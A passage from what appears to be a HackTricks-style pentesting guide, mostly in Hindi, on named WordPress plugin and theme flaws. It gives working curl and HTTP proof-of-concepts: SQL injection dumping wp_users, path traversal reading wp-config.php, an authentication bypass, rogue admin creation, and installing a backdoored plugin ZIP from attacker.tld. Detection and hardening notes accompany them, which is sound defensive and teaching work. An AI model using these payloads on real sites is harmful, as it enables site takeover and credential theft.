curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. parentid का दुरुपयोग करके arbitrary SQL इंजेक्ट करें:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

रिस्पॉन्स इंजेक्टेड क्वेरी का परिणाम उजागर करता है या डेटाबेस में परिवर्तन कर देता है, जिससे SQLi साबित होता है।

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

एक और task, downloadcustomfile, विज़िटर्स को path traversal के माध्यम से डिस्क पर कोई भी फ़ाइल डाउनलोड करने की अनुमति देती थी। कमजोर sink modules/customfield/model.php::downloadCustomUploadedFile() में स्थित है:

$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name हमलावर-नियंत्रित है और इनपुट सत्यापन के बिना जोड़ा जाता है।

एक बार फिर, एकमात्र बाधा CSRF nonce है जिसे resume पेज से प्राप्त किया जा सकता है।

Exploitation

curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

सर्वर wp-config.php की सामग्री के साथ उत्तर देता है, leaking DB credentials और auth keys।

बिना प्रमाणीकरण वाले अकाउंट का कब्ज़ा via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)

कई themes/plugins “social login” helpers के साथ आते हैं जो admin-ajax.php के माध्यम से expose होते हैं। यदि एक unauthenticated AJAX action (wp_ajax_nopriv_…) provider डेटा अनुपस्थित होने पर client-supplied identifiers पर भरोसा करता है और फिर wp_set_auth_cookie() को कॉल करता है, तो यह पूर्ण authentication bypass बन जाता है।

Typical flawed pattern (simplified)

public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

यह क्यों शोषण योग्य है

  • बिना प्रमाणिकरण की पहुँच admin-ajax.php के माध्यम से (wp_ajax_nopriv_… action).
  • state change से पहले कोई nonce/capability जांच नहीं।
  • OAuth/OpenID provider verification मौजूद नहीं; default branch attacker input स्वीकार कर लेता है।
  • get_user_by(‘email’, $_POST[‘id’]) के बाद wp_set_auth_cookie($uid) अनुरोधकर्ता को किसी भी मौजूद ईमेल पते के रूप में प्रमाणीकृत कर देता है।

शोषण (बिना प्रमाणिकरण के)

  • पूर्वापेक्षाएँ: हमलावर /wp-admin/admin-ajax.php तक पहुँच सकता है और किसी वैध उपयोगकर्ता ईमेल को जानता/अनुमान लगा सकता है।
  • provider को एक unsupported value पर सेट करें (या इसे छोड़ दें) ताकि default branch पर जाएँ और id=<victim_email> पास करें।
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Expected success indicators

  • HTTP 200 जिसमें JSON बॉडी जैसे {“status”:“success”,“message”:“Login successfully.”}.
  • Set-Cookie: wordpress_logged_in_* पीड़ित उपयोगकर्ता के लिए; इसके बाद के अनुरोध प्रमाणीकृत होंगे।

Finding the action name

  • थीम/प्लगइन में social login कोड में add_action(‘wp_ajax_nopriv_…’, ‘…’) रजिस्ट्रेशन्स देखें (उदा., framework/add-ons/social-login/class-social-login.php).
  • AJAX handlers के अंदर wp_set_auth_cookie(), get_user_by(‘email’, …) के लिए grep करें।

Detection checklist

  • वेब लॉग जो /wp-admin/admin-ajax.php पर social-login action और id= के साथ अनप्रमाणित POSTs दिखाते हों।
  • वही IP/User-Agent से आने वाले प्रमाणीकृत ट्रैफिक से ठीक पहले success JSON वाले 200 responses।

Hardening

  • क्लाइंट इनपुट से identity न निकालें। केवल वही emails/IDs स्वीकार करें जो validated provider token/ID से उत्पन्न हुए हों।
  • login helpers के लिए भी CSRF nonces और capability checks आवश्यक रखें; wp_ajax_nopriv_ को तभी रजिस्टर करें जब बिल्कुल जरूरी हो।
  • OAuth/OIDC responses को server-side पर validate और verify करें; missing/invalid providers को reject करें (POST id पर fallback न करें)।
  • जब तक फिक्स न हो, social login को अस्थायी रूप से अक्षम करने या edge पर virtual patch लगाकर (vulnerable action को ब्लॉक करके) विचार करें।

Patched behaviour (Jobmonster 4.8.0)

  • असुरक्षित fallback $_POST[‘id’] से हटाया गया; $user_email को switch($_POST[‘using’]) के verified provider branches से आना चाहिए।

Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)

Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
  • Impact: full takeover by chaining the minted key to internal privileged actions

PoC – mint a connection key and use it

# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

क्यों यह शोषणीय है

  • संवेदनशील REST route केवल कम-एंट्रॉपी identity proof (username) या missing permission_callback द्वारा संरक्षित
  • किसी capability का प्रवर्तन नहीं; जारी किया गया key सार्वभौमिक bypass के रूप में स्वीकार कर लिया जाता है

पता लगाने के लिए चेकलिस्ट

  • Grep plugin code में register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ]) के लिए खोजें
  • कोई भी route जो request-supplied identity (username/email) के आधार पर tokens/keys जारी करता है बिना इसे किसी authenticated user या capability से जोड़े
  • उन subsequent routes की तलाश करें जो server-side capability checks के बिना जारी किए गए token/key को स्वीकार करते हैं

हार्डनिंग

  • किसी भी privileged REST route के लिए: permission_callback आवश्यक करें जो required capability के लिए current_user_can() लागू करे
  • client-supplied identity से long-lived keys न बनाएं; आवश्यकता होने पर authentication के बाद short-lived, user-bound tokens जारी करें और उपयोग पर capabilities फिर से जाँचें
  • caller के user context को मान्य करें (wp_set_current_user अकेला पर्याप्त नहीं है) और उन अनुरोधों को अस्वीकार करें जहाँ !is_user_logged_in() || !current_user_can()

Nonce gate misuse → अप्रमाणीकरणरहित मनमाना plugin इंस्टॉलेशन (FunnelKit Automations ≤ 3.5.3)

Nonces CSRF को रोकते हैं, authorization को नहीं। यदि कोड nonce पास को हरी झंडी मानता है और फिर privileged operations (उदा., install/activate plugins) के लिए capability checks छोड़ देता है, तो अप्रमाणीकृत हमलावर एक कमजोर nonce आवश्यकता पूरी कर सकते हैं और backdoored या vulnerable plugin इंस्टॉल करके RCE तक पहुँच सकते हैं।

  • Vulnerable path: plugin/install_and_activate
  • Flaw: कमज़ोर nonce hash चेक; nonce “पास” होने पर current_user_can(‘install_plugins’|‘activate_plugins’) लागू नहीं किया जाता है
  • Impact: arbitrary plugin install/activation के माध्यम से पूर्ण समझौता

PoC (shape depends on plugin; illustrative only)

curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Detection checklist

  • REST/AJAX handlers जो plugins/themes को केवल wp_verify_nonce()/check_admin_referer() के साथ बदलते हैं और कोई capability चेक नहीं करते
  • कोई भी कोड पाथ जो nonce validation के बाद $skip_caps = true सेट करता है

Hardening

  • सदैव nonces को केवल CSRF tokens के रूप में मानें; nonce की स्थिति की परवाह किए बिना capability checks लागू करें
  • installer code तक पहुँचने से पहले current_user_can(‘install_plugins’) और current_user_can(‘activate_plugins’) की आवश्यकता रखें
  • unauthenticated access अस्वीकार करें; privileged flows के लिए nopriv AJAX actions को एक्सपोज़ करने से बचें

Subscriber+ AJAX plugin installer → मजबूरन दुर्भावनापूर्ण सक्रियकरण (Motors Theme ≤ 5.6.81)

Patchstack’s analysis ने दिखाया कि Motors theme अपने companion plugin को इंस्टॉल करने के लिए एक authenticated AJAX helper शिप करता है:

add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');

function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');

$plugin_url  = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';

$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
  • Only check_ajax_referer() is called; there is no current_user_can('install_plugins') or current_user_can('activate_plugins').
  • The nonce is embedded in the Motors admin page, so any Subscriber that can open /wp-admin/ can copy it from the HTML/JS.
  • The handler trusts the attacker-controlled plugin parameter (read from $_GET) and passes it into Plugin_Upgrader::install(), so an arbitrary remote ZIP is downloaded into wp-content/plugins/.
  • After installation the theme unconditionally calls mvl_theme_activate_plugin(), guaranteeing execution of the attacker plugin’s PHP code.

शोषण प्रवाह

  1. Register/compromise a low-privileged account (Subscriber is enough) and grab the mvl_theme_install_base nonce from the Motors dashboard UI.
  2. Build a plugin ZIP whose top-level directory matches the expected slug motors-car-dealership-classified-listings/ and embed a backdoor or webshell in the *.php entry points.
  3. Host the ZIP and trigger the installer by pointing the handler to your URL:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded

action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip

क्योंकि handler $_GET['plugin'] पढ़ता है, वही payload query string के माध्यम से भी भेजा जा सकता है।

डिटेक्शन चेकलिस्ट

  • themes/plugins में Plugin_Upgrader, Theme_Upgrader, या custom install_plugin.php helpers खोजें जो capability checks के बिना wp_ajax_* hooks से जुड़े हों।
  • किसी भी handler का निरीक्षण करें जो plugin, package, source, या url parameter लेता है और इसे upgrader APIs में feed करता है, खासकर जब slug hard-coded हो पर ZIP contents validate नहीं की जातीं।
  • installer actions के लिए nonces expose करने वाले admin pages की समीक्षा करें—यदि Subscribers पेज लोड कर सकते हैं, तो मानें कि nonce leak होता है।

हार्डनिंग

  • installer AJAX callbacks को nonce verification के बाद current_user_can('install_plugins') और current_user_can('activate_plugins') से gate करें; Motors 5.6.82 ने इस चेक को बग पॅच करने के लिए introduce किया।
  • untrusted URLs को अस्वीकार करें: installers को bundled ZIPs या trusted repositories तक सीमित करें, या signed download manifests लागू करें।
  • nonces को सख्ती से CSRF tokens के रूप में मानें; वे authorization प्रदान नहीं करते और कभी capability checks की जगह नहीं लेने चाहिए।

Unauthenticated SQLi depicter-* actions में s (search) parameter के माध्यम से (Depicter Slider ≤ 3.6.1)

Multiple depicter-* actions ने s (search) parameter को consume किया और इसे parameterization के बिना SQL queries में concatenated कर दिया।

  • Parameter: s (search)
  • Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
  • Impact: database exfiltration (users, hashes), lateral movement

PoC

# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Detection checklist

  • Grep के लिए depicter-* action handlers और SQL में $_GET[‘s’] या $_POST[‘s’] का सीधे उपयोग खोजें
  • $wpdb->get_results()/query() को पास किए जाने वाले custom queries की समीक्षा करें जिनमें s को concatenate किया गया हो

Hardening

  • हमेशा $wpdb->prepare() या wpdb placeholders का उपयोग करें; अनपेक्षित मेटा-कैरेक्टर्स को server-side पर अस्वीकार करें
  • s के लिए एक सख्त allowlist जोड़ें और इसे अपेक्षित charset/length के अनुसार सामान्यीकृत करें

अनप्रमाणीकृत Local File Inclusion via सत्यापित न किए गए template/file path (Kubio AI Page Builder ≤ 2.5.1)

एक template parameter में attacker-controlled paths को बिना normalization/containment के स्वीकार करने से arbitrary local files पढ़ने की अनुमति मिलती है, और कभी-कभी code execution भी हो सकता है अगर includable PHP/log फ़ाइलें runtime में खींच ली जाएँ।

  • Parameter: __kubio-site-edit-iframe-classic-template
  • Flaw: कोई normalization/allowlisting नहीं; traversal की अनुमति
  • Impact: secret disclosure (wp-config.php), विशिष्ट वातावरणों में संभावित RCE (log poisoning, includable PHP)

PoC – read wp-config.php

curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

पता लगाने की चेकलिस्ट

  • कोई भी handler जो request paths को include()/require()/read sinks में जोड़कर realpath() द्वारा containment सुनिश्चित नहीं करता
  • नियत templates directory के बाहर पहुँचने वाले traversal पैटर्न (../) की तलाश करें

हार्डनिंग

  • Allowlisted templates को लागू करें; realpath() से resolve करें और require str_starts_with(realpath(file), realpath(allowed_base))
  • इनपुट को normalize करें; traversal sequences और absolute paths को अस्वीकार करें; sanitize_file_name() का उपयोग केवल filenames के लिए करें (पूर्ण paths के लिए नहीं)

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें